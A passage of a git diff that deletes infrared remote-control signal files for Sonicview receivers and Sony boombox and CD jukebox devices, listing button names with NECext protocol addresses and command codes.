-command: 09 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 0B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 11 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 12 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 13 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 19 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 1A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir deleted file mode 100644 index 2d7e7c388..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: usb -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: user -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 23 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 25 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: tv/radio -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: signal -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: multi-picture -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: find -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir deleted file mode 100644 index 667ee3e2a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 08 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 0C 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 1C 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 30 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 32 00 00 00 -# -name: LOOP -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 34 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 39 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 6F 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 73 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 64 00 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir deleted file mode 100644 index 58943ce65..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 30 00 00 00 -# -name: MEGA_BASS -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 3F 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 47 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 60 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 61 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir deleted file mode 100644 index 3081390a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir deleted file mode 100644 index 0be68fe3e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir deleted file mode 100644 index 644073b6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir +++ /dev/null @@ -1,818 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACK_1_(F) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: TRACK_2_(G) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: TRACK_3_(H) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: TRACK_4_(I) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: TRACK_5_(J) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: TRACK_6_(K) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: TRACK_7_(L) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: TRACK_8_(M) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: TRACK_9_(N) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0B 00 00 00 -# -name: CHECK_(-) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: TRACK_17_(V) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: TRACK_18_(W) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: LINE_OUT_LEVEL_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: LINE_OUT_LEVEL_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 15 00 00 00 -# -name: TRACK_19_(X) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 19 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1A 00 00 00 -# -name: SORT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: TRACK_10_(O) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 10/0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: TRACK_11_(P) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TRACK_12_(Q) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: TRACK_13_(R) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 23 00 00 00 -# -name: TRACK_14_(S) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: TRACK_15_(T) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TRACK_16_(U) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: TRACK_>20_(Z) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: >_10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: TRACK_20_(Y) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON_(CD-1) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF_(CD-1) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: AMS_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: <<_SKIP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: <> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: >>_SKIP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: AMS>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: Z_-_TRACK_(_+_) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: <<_SEARCH -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: >>_SEARCH -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3C 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: Z_-_DISC_SKIP_(_-_) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3D 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISC_SKIP+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: Z_-_DISC_SKIP_(_+_) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: EXTRA -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: HIGH_LIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: DISC_6_(A) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 45 00 00 00 -# -name: DISC_7_(B) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 46 00 00 00 -# -name: DISC_8_(C) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: DISC_9_(D) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 48 00 00 00 -# -name: DISC_10_(E) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 49 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4B 00 00 00 -# -name: BLOCK -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: HIT_LIST -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5C 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 -# -name: LEVEL_FILE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 68 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 69 00 00 00 -# -name: MEMO_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6B 00 00 00 -# -name: NAME_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6B 00 00 00 -# -name: CHAIN_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6E 00 00 00 -# -name: NO_DELAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6E 00 00 00 -# -name: MEGA_-_NO_DELAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6E 00 00 00 -# -name: PLAYER_SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 6F 00 00 00 -# -name: X-FADE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 71 00 00 00 -# -name: MEGA_-_X-FADE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7C 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7C 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7C 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7D 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7D 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7D 00 00 00 -# -name: SCROLL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir deleted file mode 100644 index 1c44d2d1b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir deleted file mode 100644 index feaf14c77..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ARTIST_MODE -type: parsed -protocol: NECext -address: 1A 99 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir deleted file mode 100644 index c7b808959..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir deleted file mode 100644 index e377e3e59..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 15 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 20 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 2E 00 00 00 -# -name: POWER_ON_(CD-2) -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF_(CD-2) -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 2F 00 00 00 -# -name: <<_SKIP -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 30 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 30 00 00 00 -# -name: >>_SKIP -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 31 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 32 00 00 00 -# 